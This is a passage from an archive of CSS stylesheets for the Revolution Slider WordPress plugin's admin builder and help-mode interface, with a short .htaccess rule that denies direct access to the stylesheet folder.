div:hover .gm_guide_icon{ color: #fff; } .gm_tr_list i.rbm_symbol.material-icons{ font-size: 25px; } .gm_tr_list > *:last-child{ grid-column: span 2; } .gm_guide_title{ position: absolute; bottom: 16px; } .gm_guide_thumb img{ position: absolute; right: 0; bottom: 0px; filter: drop-shadow(0px 10px 40px rgba(0,0,0,0.25)); outline: transparent solid 10px; } .gm_tr_list .gm_bottom_right{ display: grid; grid-template-columns: repeat( auto-fit, minmax(10%, 60%) ); grid-template-areas: 'br_icon br_image' 'br_desc br_image' 'br_desc br_image'; padding: 0 0 0 20px; } .gm_tr_list a.gm_bottom_right{ text-decoration: none; overflow: hidden; } .gm_tr_list a.gm_bottom_right:focus{ color: #b7bbc0; box-shadow: none; } .gm_tr_list a.gm_bottom_right:focus:hover{ color: #fff; } .gm_br_icon{ padding-top: 20px; } .gm_br_desc{ grid-area: br_desc; height: 100%; padding-bottom: 20px; box-sizing: border-box; display: flex; align-items: flex-end; line-height: 1.3; } .gm_br_banner{ display: flex; justify-content: flex-end; align-items: flex-end; grid-area: br_image; height: 110px; margin-top: auto; filter: drop-shadow(0px 8px 40px rgba(0,0,0,0.25)); } .gm_br_banner img{ height: 110px; } .gm_temp_banner img{ height: 120px; max-height: 120px !important; } .gm_guide_links_wrap{ position: absolute; top: 0; left: 0; background-color: #292B2D; width: 100%; display: grid; display: none; z-index: 9999999; filter: drop-shadow(0px 20px 40px rgba(0,0,0,0.5)); border-radius: 5px; } .gm_guide_links_header{ display: flex; justify-content: space-between; padding: 10px 0; margin: 0; font-size: 14px; color: #b7bbc0; } .gm_close_guide_links:hover{ color: #fff; } .gm_guide_links_title{ margin-left: 15px; } .gm_close_guide_links{ cursor: pointer; } .gm_guide_links{ display: grid; gap: 1px; padding: 0 10px 10px 10px; } .gm_guide_link i.rbm_symbol.material-icons{ font-size: 15px; margin-right: 8px; color: #777c80; } .gm_guide_link:hover i.rbm_symbol.material-icons{ color: #fff; } .gm_guide_links_wrap a{ display: block; text-decoration: none; color: #b7bbc0; font-size: 12px; padding: 5px; background-color: #313335; border-radius: 3px; padding: 7px; } .gm_guide_type{ display: block; float: right; font-size: 10px; padding: 0px 5px; font-weight: bold; border-radius: 2px; color: #fff; } .gm_guide_type_LAYERS{ background-color: #006DD1; } .gm_guide_type_MISC{ background-color: #00A0AF; } .gm_guide_type_ACTIONS{ background-color: #f82c8e; } .gm_guide_type_ADDONS{ background-color: #34aadc; } .gm_guide_type_SLIDES{ background-color: #5D35B1; } .gm_guide_type_SLIDER{ background-color: #5D35B1; } #guide_tooltip{ display: none; position: fixed; top: 0px; left: 0px; width: 250px; z-index: 99999999999; background-color: #006dd2; padding: 20px; color: #fff; } #guide_tooltip p{ font-size: 14px; line-height: 1.3; } #guide_tooltip i{ font-size: 18px; } #guide_tooltip:before{ content: ""; display: block; position: absolute; top: -10px; right: 30px; background-color: #006dd2; width: 20px; height: 20px; transform: rotate(45deg); border-radius: 5px 0 0 0; } .guide_close_wrap{ display: flex; justify-content: flex-end; } #gt_close{ cursor: pointer } .gt_title_wrap{ font-weight: 500; font-size: 18px; margin: 10px 0; line-height: 1.2; } #gt_link_wrap{ font-size: 14px; } #gt_global_settings{ text-decoration: underline !important; cursor: pointer; }admin/assets/css/help.css000060400000024520151724235750011402 0ustar00/* ********************* - HELP MODE STYLES - ***********************/ .help-mode-activated .help_wrap { color: #FFF; background-color: #006dd2; } .help-mode-activated .help_wrap:after { content: ""; position: absolute; top: 7px; right: 7px; width: 15px; height: 15px; color: #FFF; background: url(../images/check.png) center center/15px 15px no-repeat transparent; } #help_mode_modal { top: 50px; right: 100%; width: 580px; z-index: 99999; position: absolute; background: #006dd2; visibility: hidden; opacity: 0; margin-right: 51px; transition: all 0.3s ease; transition-property: opacity, visibility; } .help-mode-activated.help-mode-active #help_mode_modal { visibility: visible; opacity: 1; } .help-mode-dialog { display: none; overflow: hidden; width: 170px; cursor: auto; } .help-mode-title, .help-mode-description { color: #FFF; line-height: normal; padding: 30px; position: relative; font-size: 14px; font-weight: normal; } .help-mode-title { font-weight: bold; z-index: 1; top: -3px; cursor: move; padding-bottom: 0; } .help-mode-section { margin-top: 10px; } #help-mode-buttons { padding: 0; margin-top: 24px; background-color: transparent; } .help-mode-section:first-child { margin-top: 0; } .help-mode-section i { font-size: 15px; position: relative; left: -5px; border-radius: 2px; } .help-mode-section a, .help-mode-section a:hover { color: white; } .help-mode-button { float: left; margin-left: 10px; padding: 6px 20px; background-color: #1a7cd7; cursor: pointer; display: none; transition: filter 0.3s ease-in-out; border-radius: 2px; } .help-mode-button:first-child { margin-left: 0; } .help-mode-button:hover { filter: brightness(110%); } #help_mode_title { position: relative; background: white; color: #005abd; text-transform: uppercase; font-size: 11px; padding: 1px 4px 0 4px; border-radius: 2px; vertical-align: top; position: relative; top: 3px; left: 7px; font-weight: 900; } #help_mode_main_title { font-size: 30px; color: white; display: block; font-weight: 500; margin: 16px 0 20px 0; } #help_mode_video_wrap { margin: 3px 0 33px 0; display: none; line-height: 0; box-shadow: 5px 5px 20px 0px rgba(0,0,0,0.3); } #help_mode_title_wrap {margin-top: 2px} #help_mode_title_wrap i {font-size: 18px} .help-icon-default i {display: none !important} .help-icon-default i:nth-child(1) {display: inline-block !important} .help-icon-faq i:nth-child(2), .help-icon-faq i:nth-child(3), .help-icon-faq i:nth-child(4), .help-icon-faq i:nth-child(5) {display: none !important} .help-icon-slider i:nth-child(1), .help-icon-slider i:nth-child(3), .help-icon-slider i:nth-child(4), .help-icon-slider i:nth-child(5) {display: none !important} .help-icon-navigation i:nth-child(1), .help-icon-navigation i:nth-child(2), .help-icon-navigation i:nth-child(4), .help-icon-navigation i:nth-child(5) {display: none !important} .help-icon-slide i:nth-child(1), .help-icon-slide i:nth-child(2), .help-icon-slide i:nth-child(3), .help-icon-slide i:nth-child(5) {display: none !important} .help-icon-layer i:nth-child(1), .help-icon-layer i:nth-child(2), .help-icon-layer i:nth-child(3), .help-icon-layer i:nth-child(4) {display: none !important} #help-mode-search { white-space: nowrap; } #help_mode_search { position: relative; } #help_mode_search_wrap { background: #0051b2; padding: 18px 10px 18px 30px; } #help_mode_search input { background: transparent !important; line-height: inherit !important; height: 100% !important; box-sizing: border-box !important; font-size: 20px !important; color: white !important; font-weight: inherit !important; vertical-align: top !important; background: inherit !important; padding: 0 !important; margin: 0 !important; box-shadow: none !important; border: 0 !important; width: calc(100% - 50px) !important; margin: 0; } #help_mode_search ::-webkit-input-placeholder { color: white !important; } #help_search_results { margin-top: 16px; padding-top: 21px; display: none; position: relative; } #help_search_results:before { position: absolute; top: 0; left: -30px; width: calc(100% + 40px); height: 1px; content: ""; background: #266bbd; z-index: 9999999; } .help-results-container { float: left; width: 50%; } #the_right_toolbar .help-results-wrap .rs__scrollbar-y-rail { display: block !important; right: -1px !important; } #the_right_toolbar .help-results-wrap .rs__scrollbar-y { background: #266bbd !important; } #the_right_toolbar .help-results-wrap .rs__scrollbar-y-rail { background: transparent !important; } #the_right_toolbar .help-results-wrap .rs__scrollbar-y { display: block !important; opacity: 1 !important; } .help-results-wrap.ps:hover>.rs__scrollbar-y-rail { opacity: 1 !important; } #help_options_results { width: calc(100% - 20px); } .help-faqs-empty .help-results-container { display: none; } .help-faqs-empty .help-results-container:first-child { display: block; width: 100%; } .help-options-empty .help-results-container { display: block; width: 100%; } .help-options-empty .help-results-container:first-child { display: none; } .help-results-wrap { overflow: hidden; position: relative; } .help-results .help-button { border-radius: 2px; width: 100%; text-align: left; padding: 8px 0 12px 0; line-height: 14px; font-size: 12px; font-weight: inherit; } .help-results .help-button:first-child { margin-top: 0; } .help-results .help-button i { font-size: 19px; position: relative; top: 2px; left: 10px; margin: 0 5px; } #help_faq_results { width: calc(100% - 20px); } #help_faq_results .help-button { padding: 29px 0 30px 0; } #help_faq_results .help-button i { font-size: 22px; } .help-results .help-button span { margin-left: 20px; } .help-mode-description { padding: 0 30px 30px 30px; line-height: 1.5em; display: none; margin-top: -9px; } #help_modal_close { position: absolute; top: 0; right: 0; width: 50px; height: 50px; cursor: pointer; color: #FFF; z-index: 99; } #help_modal_close i { position: absolute; top: 16px; right: 16px; font-size: 18px; } #help_modal_close:hover { opacity: 0.4; } .help-mode-link { font-weight: bold; font-size: 12px; color: #FFF; border-bottom: 1px solid transparent; margin: 0 10px 0 0; cursor: pointer; display: none; } .help-mode-link:hover { border-bottom-color: #FFF; } .help-input-focus:not([type="radio"]), .help-input-focus + label_sub:before, .help-input-focus + .ddTP .ddTP_S, .rev-colorpicker.help-input-focus { box-shadow: 0 0 20px 5px #006dd2 !important; } .lal_group_member.help-input-focus { box-shadow: none !important; color: #FFF; background: #006dd2; } .help-input-focus + label_sub { overflow: visible; } #help_input_clear { position: absolute; top: 0; right: 0; width: 32px; text-align: center; border-radius: 0; box-sizing: border-box; height: 100%; padding: 0; margin: 0 !important; line-height: 20px; border: none; font-size: 11px; font-weight: 500; vertical-align: top; cursor: pointer; background-color: #2a2c2f; visibility: hidden; } #help_input_clear { width: 50px; height: 50px; background: transparent; position: absolute; right: -10px; top: -14px; } #help_input_clear i { position: relative; top: 5px; margin: 0; font-size: 12px; color: #FFF; } #help_input_clear i { top: 14px; left: 0; font-size: 18px; } #help_input_clear:hover i { opacity: 0.4; } .help-button { margin: 5px 5px 0px 0px; text-align: center; padding: 0px 10px; line-height: 20px; border: none; border-radius: 3px; background: #0d5ab6; color: #fff; font-size: 11px; font-weight: 500; vertical-align: top; display: inline-block; cursor: pointer; transition: background 0.3s ease-in-out; } .help-button:hover { background: #266bbd; } .help-button span { position: relative; top: 1px; } .help-mode-activated .help_wrap { background-color: #3f444a; } #add_layer_main_wrap > div {position: relative} .toolbar_btn.help-hover .tool_dd_wrap { display: block; min-width: 100%;} .toolbar_btn.help-hover { color: #fff} .toolbar_btn.help-hover-text .add_layer[data-type="text"], .toolbar_btn.help-hover-image .add_layer[data-type="image"], .toolbar_btn.help-hover-video .add_layer[data-type="video"], .toolbar_btn.help-hover-audio .add_layer[data-type="audio"], .toolbar_btn.help-hover-object .add_layer[data-type="object"], .toolbar_btn.help-hover-row .add_layer[data-type="row"], .toolbar_btn.help-hover:not(.help-hover-staticlayers) #newslide, .toolbar_btn.help-hover-staticlayers .do_not_sort_slide_list_element {background: #3f444a !important; z-index: 99999} .toolbar_btn.help-hover:not(.help-hover-slideorder) #newslide:after, .toolbar_btn.help-hover-staticlayers .do_not_sort_slide_list_element:after, .toolbar_btn.help-hover-slideorder .slide_list_element.selected:after, #add_layer_toolbar_wrap.help-hover-text #add_layer_main_wrap > div:first-child:after, #add_layer_toolbar_wrap.help-hover-image #add_layer_main_wrap > div:nth-child(2):after, #add_layer_toolbar_wrap.help-hover-video #add_layer_main_wrap > div:nth-child(5):after, #add_layer_toolbar_wrap.help-hover-audio #add_layer_main_wrap > div:nth-child(6):after, #add_layer_toolbar_wrap.help-hover-object #add_layer_main_wrap > div:nth-child(7):after, #add_layer_toolbar_wrap.help-hover-row #add_layer_main_wrap > div:nth-child(8):after, #add_layer_toolbar_wrap.help-hover-column #add_layer_main_wrap > div:nth-child(8):after { position: absolute; bottom: -5px; left: 65%; margin-left: 10px; width: 17px; height: 22px; background: url(../images/hand.png) no-repeat center center; content: ""; z-index: 99999; } .toolbar_btn.help-hover-slideorder .slide_list_element.selected:after { width: 18px; height: 18px; background: url(../images/move.png) no-repeat center center; background-size: 18px 18px; bottom: -5px; left: -14px; } .toolbar_btn.help-hover-staticlayers #newslide:after {display: none} .add_frame_after.help-input-focus {display: block} /*************** RTL MODE SETTINGS ********************/ body.rtl #help_mode_title { left: auto; right: 7px; } body.rtl .help-mode-section i { left: auto; right: -5px; } body.rtl #help_input_clear { right: auto; left: -10px; }admin/assets/css/.htaccess000044400000000177151724235750011542 0ustar00 Order allow,deny Deny from all admin/assets/css/builder.css000060400001101020151724235750012070 0ustar00/************************************************ * REVOLUTION 6.0.0 BUILDER CLASSES * @version: 1.0 (12.06.2017) * @author ThemePunch ************************************************/ .toplevel_page_revslider, .toplevel_page_revslider #wpwrap, .toplevel_page_revslider #wpwrap #wpcontent, .toplevel_page_revslider #rs_overview { background: #202224; } /* overflox-x added because applying a blur filter to the #wpwrap causes an unexpected horizontal scrollbar */ #wpwrap.blurred { filter: blur(10px); overflow-x: hidden} .toplevel_page_revslider #wpfooter { position: relative } .toplevel_page_revslider .material-icons { line-height: inherit;} .rs-builder-mode .ps__rail-y { position: absolute !important } .rs-builder-mode.hideallwp #adminmenumain { display: none; } .rs-builder-mode.hideallwp #wpfooter, .rs-builder-mode.hideallwp #wpcontent { padding-left: 0px;margin-left: 0px; } .rs-builder-mode.hideallwp .tp-plugin-version { display:none; ; padding: 20px 20px 0px; } .rs-builder-mode.hideallwp #wpbody-content { padding-bottom: 0px; } .rs-builder-mode.hideallwp #wpfooter { display:none; } .rs-builder-mode.hideallwp #wpadminbar { display: none } .rs-builder-mode.hideallwp #wpwrap { background: #202224; } .rs-builder-mode.hideallwp { overflow: hidden } .rs-builder-mode.hideallwp.showwpmenus #adminmenumain, .rs-builder-mode.hideallwp.showwpmenus #wpadminbar { display: block; z-index: 10000050} .rs-builder-mode.hideallwp.showwpmenus #wpadminbar { height: 40px;padding-top: 10px;} .rs-builder-mode.hideallwp.showwpmenus #wpadminbar #wp-admin-bar-wp-logo>.ab-item { padding-left: 15px; } .rs-builder-mode.hideallwp.showwpmenus #adminmenumain { position: relative; } .rs-builder-mode.hideallwp.showwpmenus #adminmenumain #adminmenuback { box-shadow: 5px 0px 10px rgba(0,0,0,0.15) } #builderView { z-index: 100000; transform: translateX(100%); } #hidden_video_container { display: none; } #wp_overlay { z-index: 99999; position: fixed;top: 0px;left: 0px; width: 100%;height: 100%; background: #323438; } /* DISABLE CONTAINERS IF LAYER TYPE SET TO X */ ._column_sel_ ._nfc_, ._text_sel_ ._nft_, ._video_sel_ ._nfv_, ._shape_sel_ ._nfs_, ._image_sel_ ._nfi_, ._image_sel_ ._nsfi_, ._group_sel_ ._nfg_, ._audio_sel_ ._nfa_, ._button_sel_ ._nfb_, ._object_sel_ ._nfo_, ._svg_sel_ ._nfsvg_ { position: relative; opacity: 0.3; pointer-events: none;} ._row_sel_ ._nfr_ { display:none !important;} /* HIDE CONTAINERS IF LAYER TYPE SET TO X */ #the_container._column_sel_ .form_collector .form_inner._nsfc_, #the_container._row_sel_ .form_collector .form_inner._nsfr_, #the_container._text_sel_ .form_collector .form_inner._nsft_, #the_container._video_sel_ .form_collector .form_inner._nsfv_, #the_container._shape_sel_ .form_collector .form_inner._nsfs_, #the_container._image_sel_ .form_collector .form_inner._nsfi_, #the_container._group_sel_ .form_collector .form_inner._nsfg_, #the_container._audio_sel_ .form_collector .form_inner._nsfa_, #the_container._button_sel_ .form_collector .form_inner._nsfb_, #the_container._object_sel_ .form_collector .form_inner._nsfo_, #the_container._layer_in_column_sel_._text_sel_ ._nsftbsic_, #the_container._layer_in_column_sel_._shape_sel_ ._nsftbsic_, #the_container._layer_in_column_sel_._button_sel_ ._nsftbsic_, #the_container._layer_in_column_sel_._object_sel_ ._nsftbsic_, ._column_sel_ ._nsfc_, ._row_sel_ ._nsfr_, ._text_sel_ ._nsft_, ._video_sel_ ._nsfv_, ._shape_sel_ ._nsfs_, ._image_sel_ ._nsfi_, ._group_sel_ ._nsfg_, ._audio_sel_ ._nsfa_, ._button_sel_ ._nsfb_, ._object_sel_ ._nsfo_, ._svg_sel_ ._nsfsvg_ { display: none !important; } #ezoomer_wrap { position: relative; width: auto; padding: 15px; font-size: 14px; line-height: 35px; background: #2a2c2f; white-space: nowrap; box-shadow: 0px 10px 20px 0px rgba(0,0,0,0.5); } #ezoomer { width: 200px; height: 10px; background: #202224; border-radius: 4px; overflow: visible; position: relative; /*cursor:pointer;*/} #ezoomer_pin { background: #006dd2; height: 10px !important; left: 0px; position: absolute; top: 0px; width: 100px; border-radius: 4px } #zoomer_factor { font-size: 12px; color: #b7bbc0; font-weight: 600; width: 20px; line-height: 35px;display: inline-block; vertical-align: top} #zoomer_factor { position: absolute; bottom: -4px; left: 0px; width: 100%; text-align: center; } #zoomer_wrap_toolbar:hover #zoomer_factor { color: #fff; } #ezoomer_pin:after { content: ""; pointer-events: none; background:#b8bbc0; width: 16px;height: 16px;border-radius: 8px; position: absolute;right: -8px;top: -3px; } #ezoomer_pin:hover:after { background: #fff; } #ezoomer_pin .ui-resizable-handle.ui-resizable-e { cursor: pointer } #ezoomer_pin .ui-resizable-handle.ui-resizable-e:hover:after{ background: #fff } .ezzomer_marks { position: absolute;top: -15px; width: 1px; height: 5px; background:#40444a; } #zoomer_wrap_toolbar .tool_dd_wrap { padding-top: 0px; background: transparent; box-shadow: none} #zoomer_wrap_toolbar .selected_placeholder { cursor: pointer } /*HIDE LETTER TRANSLATION PRESETS */ ._column_sel_ #lal_in_lettran, ._row_sel_ #lal_in_lettran, ._video_sel_ #lal_in_lettran, ._audio_sel_ #lal_in_lettran, ._object_sel_ #lal_in_lettran, ._svg_sel_ #lal_in_lettran, ._image_sel_ #lal_in_lettran, ._shape_sel_ #lal_in_lettran { display: none !important; } /* SHOW CONTAINERS ONLY IF LAYER TYPE SET TO X*/ #the_container .form_collector .form_inner ._shfc_, #the_container .form_collector .form_inner._shfc_, #the_container .form_collector .form_inner ._shfg_, #the_container .form_collector .form_inner._shfg_, #the_container .form_collector .form_inner ._shflic_, #the_container .form_collector .form_inner._shflic_, #the_container .form_collector .form_inner ._shflig_, #the_container .form_collector .form_inner ._shfliginset_, #the_container .form_collector .form_inner._shflig_, #the_container .form_collector .form_inner ._shflicg_, #the_container .form_collector .form_inner._shflicg_, #the_container .form_collector .form_inner ._shft_, #the_container .form_collector .form_inner._shft_, #the_container .form_collector .form_inner ._shoft_, #the_container .form_collector .form_inner._shoft_, #the_container .form_collector .form_inner ._shfb_, #the_container .form_collector .form_inner._shfb_, #the_container .form_collector .form_inner ._shofb_, #the_container .form_collector .form_inner._shofb_, #the_container .form_collector .form_inner ._shfi_, #the_container .form_collector .form_inner._shfi_, #the_container .form_collector .form_inner ._shfv_, #the_container .form_collector .form_inner._shfv_, #the_container .form_collector .form_inner ._shfr_, #the_container .form_collector .form_inner._shfr_, #the_container .form_collector .form_inner ._shfa_, #the_container .form_collector .form_inner._shfa_, #the_container .form_collector .form_inner ._shfs_, #the_container .form_collector .form_inner._shfs_, #the_container._layer_in_group_sel_ .form_collector .form_inner._nflicg_, #the_container._layer_in_group_sel_ .form_collector .form_inner ._nflicg_, #the_container._layer_in_column_sel_ .form_collector .form_inner._nflic_, #the_container._layer_in_column_sel_ .form_collector .form_inner ._nflic_, #the_container .form_collector .form_inner ._shfsvg_, #the_container .form_collector .form_inner._shfsvg_ { display: none !important; } #the_container._svg_sel_ .form_collector .form_inner ._shfsvg_, #the_container._svg_sel_ .form_collector .form_inner._shfsvg_, #the_container._column_sel_ .form_collector .form_inner ._shfc_, #the_container._column_sel_ .form_collector .form_inner._shfc_, #the_container._group_sel_ .form_collector .form_inner ._shfg_, #the_container._group_sel_ .form_collector .form_inner._shfg_, #the_container._shape_sel_ .form_collector .form_inner ._shfs_, #the_container._shape_sel_ .form_collector .form_inner._shfs_, #the_container._row_sel_ .form_collector .form_inner ._shfr_, #the_container._row_sel_ .form_collector .form_inner._shfr_, #the_container._image_sel_ .form_collector .form_inner ._shfi_, #the_container._image_sel_ .form_collector .form_inner._shfi_, #the_container._video_sel_ .form_collector .form_inner ._shfv_, #the_container._video_sel_ .form_collector .form_inner._shfv_, #the_container._audio_sel_ .form_collector .form_inner ._shfa_, #the_container._audio_sel_ .form_collector .form_inner._shfa_, #the_container._layer_in_column_sel_ .form_collector .form_inner._shflic_, #the_container._layer_in_column_sel_ .form_collector .form_inner ._shflic_, #the_container._layer_in_column_sel_ .form_collector .form_inner._shflicg_, #the_container._layer_in_column_sel_ .form_collector .form_inner ._shflicg_, #the_container._layer_in_group_sel_ .form_collector .form_inner._shflicg_, #the_container._layer_in_group_sel_ .form_collector .form_inner ._shflicg_, #the_container._layer_in_group_sel_ .form_collector .form_inner._shflig_, #the_container._layer_in_group_sel_ .form_collector .form_inner ._shflig_, #the_container._layer_in_group_sel_.layer_is_inset .form_collector .form_inner._shfliginset_, #the_container._layer_in_group_sel_.layer_is_inset .form_collector .form_inner ._shfliginset_, #the_container._text_sel_ .form_collector .form_inner._shoft_, #the_container._button_sel_ .form_collector .form_inner._shofb_, #the_container._text_sel_ .form_collector .form_inner ._shoft_, #the_container._button_sel_ .form_collector .form_inner ._shofb_, #the_container._text_sel_ .form_collector .form_inner._shft_, #the_container._button_sel_ .form_collector .form_inner._shft_, #the_container._text_sel_ .form_collector .form_inner ._shft_, #the_container._button_sel_ .form_collector .form_inner ._shft_, #the_container._text_sel_ .form_collector .form_inner ._shfb_, #the_container._button_sel_ .form_collector .form_inner ._shfb_ { display: block !important; } #the_container.multiple_layers_selected._button_sel_._row_sel_ .form_collector .form_inner._homs_, #the_container.multiple_layers_selected._button_sel_._column_sel_ .form_collector .form_inner._homs_, #the_container.multiple_layers_selected._text_sel_._row_sel_ .form_collector .form_inner._homs_, #the_container.multiple_layers_selected._text_sel_._column_sel_ .form_collector .form_inner._homs_ { display: none !important;} #the_container._layer_in_group_sel_.layer_is_inset .form_collector .form_inner._nfliginset_, #the_container._layer_in_group_sel_.layer_is_inset .form_collector .form_inner ._nfliginset_, #the_container._layer_in_group_sel_.layer_is_inset .ui-resizable.selected .ui-resizable-handle, #the_container._layer_in_group_sel_.layer_is_inset .ui-resizable.selected ._lc_reScaler, #the_container._layer_in_root_sel_ .hide_on_root, #the_container._layer_in_root_sel_._shape_sel_ .form_collector .form_inner._nsfsir_, #the_container._layer_in_root_sel_._shape_sel_ .form_collector .form_inner ._nsfsir_, #the_container._layer_in_root_sel_._svg_sel_ .form_collector .form_inner._nsfsvir_, #the_container._layer_in_root_sel_._svg_sel_ .form_collector .form_inner ._nsfsvir_, #the_container._layer_in_root_sel_._image_sel_ .form_collector .form_inner._nsfiir_, #the_container._layer_in_root_sel_._image_sel_ .form_collector .form_inner ._nsfiir_, #the_container._layer_in_root_sel_._video_sel_ .form_collector .form_inner._nsfvir_, #the_container._layer_in_root_sel_._video_sel_ .form_collector .form_inner ._nsfvir_, #the_container._layer_in_root_sel_._audio_sel_ .form_collector .form_inner._nsfair_, #the_container._layer_in_root_sel_._audio_sel_ .form_collector .form_inner ._nsfair_, #the_container._layer_in_root_sel_._row_sel_ .form_collector .form_inner._nsfr_, #the_container._layer_in_root_sel_._row_sel_ .form_collector .form_inner ._nsfr_ { display:none !important} i.material-icons { text-align: center; } #responsive_infos_toolbar .material-icons, #rb_tlw .material-icons, #rs_overview .material-icons, #filedrop .material-icons, .material-icons { font-family: 'Material Icons'; font-weight: normal; font-style: normal; display: inline-block; text-transform: none; letter-spacing: normal; word-wrap: normal; white-space: nowrap; direction: ltr; vertical-align: top; line-height: inherit; -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; -moz-osx-font-smoothing: grayscale; font-feature-settings: 'liga'; } #the_container.multiple_layers_selected #form_layercontent_convert { display: none !important; } #rs_overview { padding:96px 55px 66px;} #layer_video_poster { display: none; } #slide_bg_image_path { /* visibility: hidden; */ height: 29px !important; width: 10px !important; /* opacity: 0; */ padding: 0; margin: 0; font-size: 0px; float: left; line-height: 29px; background: transparent; border: none; outline: none; box-shadow: none;} #rb_tlw .material-icons.mirrorhorizontal, .material-icons.mirrorhorizontal { transform:scaleX(-1);} /* UNSELECTABLES */ ._lc_, .layerlist_element *, .basic_action_button, #main_hor_toolbar, #main_hor_toolbar *, .tponoffwrap *, .tponoffwrap, #timeline_settings *, label_a,label_info, .material-icons, .form_menu_level_2_li, .form_menu_level_1_li, .radiooption, .input_left, .input_middle, .fake_input, .rsle_tool, #form_slideradvanced_perf * { -webkit-touch-callout:none; -webkit-user-select:none; -khtml-user-select:none; -moz-user-select:none; -ms-user-select:none; user-select:none; } ._lc_ input[type="text"], .layerlist_element * input[type="text"], .basic_action_button input[type="text"], #main_hor_toolbar, #main_hor_toolbar * input[type="text"], .tponoffwrap *, .tponoffwrap input[type="text"], #timeline_settings * input[type="text"], label_a,label_info input[type="text"], .material-icons input[type="text"], .form_menu_level_2_li input[type="text"], .form_menu_level_1_li input[type="text"], .radiooption input[type="text"], .input_left input[type="text"], .input_middle input[type="text"], .fake_input input[type="text"], .rsle_tool input[type="text"], #form_slideradvanced_perf * input[type="text"] { -webkit-touch-callout:auto; -webkit-user-select:auto; -khtml-user-select:auto; -moz-user-select:auto; -ms-user-select:auto; user-select:auto; } .material-icons.vmi { transform: scaleX(-1); } /********************************* DEFAULT AND BASIC SETTINGS **********************************/ .layer_grid.layersInDragorResize:after {content:" ";position: absolute;top:0px;left:0px;width:100%;height:100%;background:transparent;z-index: 450;} #rs_overview, #rb_tlw, #timeline { font-family: "Roboto" } #quick_style *, .rb_modal *, .eg-toolbox, #rs_overview *, #rs_overview_menu, #rb_tlw *, #timeline * { -webkit-font-smoothing: antialiased;-moz-osx-font-smoothing: grayscale;-webkit-touch-callout: none;text-rendering: optimizeLegibility;} .notselectable {-webkit-user-select: none;-khtml-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;} linebreak, .linebreak {display: block;height: 0px;width: 100%;clear:both;} .rightaligned { text-align: right} .vertical_medium_wrap { top: 50%;transform: translateY(-50%);position: absolute;} row { line-height: 30px;display: table; margin-bottom:10px; width:100%;box-sizing: border-box; position: relative} row.direktrow, row.directrow { margin-bottom: 0px; } onethird { display: table-cell; vertical-align: top; width: 33.33%; padding-right: 0px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px;} onefourth { display: table-cell; vertical-align: top; width: 25%; padding-right: 20px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px} onefifth { display: table-cell; vertical-align: top; width: 20%; padding-right: 9px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px} onehalf { display: table-cell; vertical-align: top; width: 50%; padding-right: 30px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px} labelhalf { display: table-cell; vertical-align: top; width: 100px; padding-right: 15px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px; text-align: right} contenthalf { display: table-cell; vertical-align: top; width: 180px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px; text-align: left} onelabel { display: table-cell; vertical-align: top; width: 97px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px} oneshort { display: table-cell; vertical-align: top; width: 115px; box-sizing: border-box; line-height: inherit; margin-bottom:-10px;} onelong { display: table-cell; vertical-align: top; width: 175px; min-width: 175px; box-sizing: border-box;line-height: inherit; margin-bottom:-10px;padding-right:10px;} onefull { display: table-cell; vertical-align: top; width: 200px; line-height: inherit; box-sizing: border-box; } oneshort.dyn_inp_wrap { position: relative; overflow: visible; max-width: 115px !important; white-space: nowrap; } onelong.dyn_inp_wrap { position: relative; overflow: visible; max-width: 175px !important; white-space: nowrap;} #rb_tlw .direktrow.active_onelong onelong.dyn_inp_wrap input[type=text] { width: 128px !important;} #rb_tlw .direktrow.active_oneshort oneshort.dyn_inp_wrap input[type=text] { width: 133px !important;} #rb_tlw .direktrow onelong.dyn_inp_wrap input[type=text], #rb_tlw .direktrow oneshort.dyn_inp_wrap input[type=text] { transition: width 300ms; } #rb_tlw .direktrow onelong.dyn_inp_wrap label_icon, #rb_tlw .direktrow oneshort.dyn_inp_wrap label_icon, #rb_tlw .direktrow onelong.dyn_inp_wrap .label_icon, #rb_tlw .direktrow oneshort.dyn_inp_wrap .label_icon { transition: margin 300ms; } #rb_tlw .direktrow.active_oneshort oneshort.dyn_inp_wrap label_icon, #rb_tlw .direktrow.active_oneshort oneshort.dyn_inp_wrap .label_icon { margin-left:-65px } #rb_tlw .direktrow.active_onelong onelong.dyn_inp_wrap label_icon, #rb_tlw .direktrow.active_oneshort onelong.dyn_inp_wrap label_icon, #rb_tlw .direktrow.active_onelong onelong.dyn_inp_wrap .label_icon, #rb_tlw .direktrow.active_oneshort onelong.dyn_inp_wrap .label_icon { margin-left: 0px; } #rb_tlw .direktrow.active_onelong onelong.dyn_inp_wrap, #rb_tlw .direktrow.active_oneshort oneshort.dyn_inp_wrap { z-index: 10 } #the_container onehalf { padding-right: 10px;min-width: 50%; } onehalf:last-child, onefourth:last-child, onefifth:last-child, onethird:last-child { padding-right: 0px; } #the_container .showhide_hidden #the_container .showhide_hidden.form_inner, #the_container .form_collector .showhide_hidden.form_inner { display: none !important; } /******************* EDITOR ICON SET *******************/ .near_me_addon { position: absolute; top:5px; left: 30px; color: inherit; font-size: 12px !important; } .toolkit_selector .near_me_addon { left: 28px; } .label_mi.material-icons { width:30px; height:30px; text-align:center; color: #b7bbc0; font-size: 20px; margin-left: 15px; vertical-align: top; line-height:30px; margin-right: 5px;} label_icon, label_bigicon {background: url(../images/UI-ICONS.png); width: 30px;height: 30px; vertical-align: top; display: inline-block; color: transparent; background-size: 390px 420px; margin-right: 5px; } label_bigicon {background: url(../images/UI-ICONS-BIG.png); width: 45px; height: 45px; background-size: 495px 225px; } label_icon.singlerow, onelong .label_mi.material-icons:first-child, onelong label_icon:first-child { margin-left: 60px; } oneshort .label_mi.material-icons { margin-left: 0px; } longoption label_icon:first-child { margin-left: 10px; margin-top:5px; margin-right:0px; width:25px;} longoption.centered_longoption { border: none;text-align: center; } longoption.centered_longoption label_a { width: auto; min-width: 0px; font-size: 11px !important; } longoption.centered_longoption i.material-icons { color: #787C80 !important; } longoption.centered_longoption .tponoffwrap { float: none; } #rb_tlw i.label_icon.material-icons { margin-left: 60px; color: #fff; line-height: 30px !important; margin-right: 5px; font-size: 20px; text-align: center; width:30px; color:#b7bbc0;} #rb_tlw i.label_icon.material-icons.inshort { 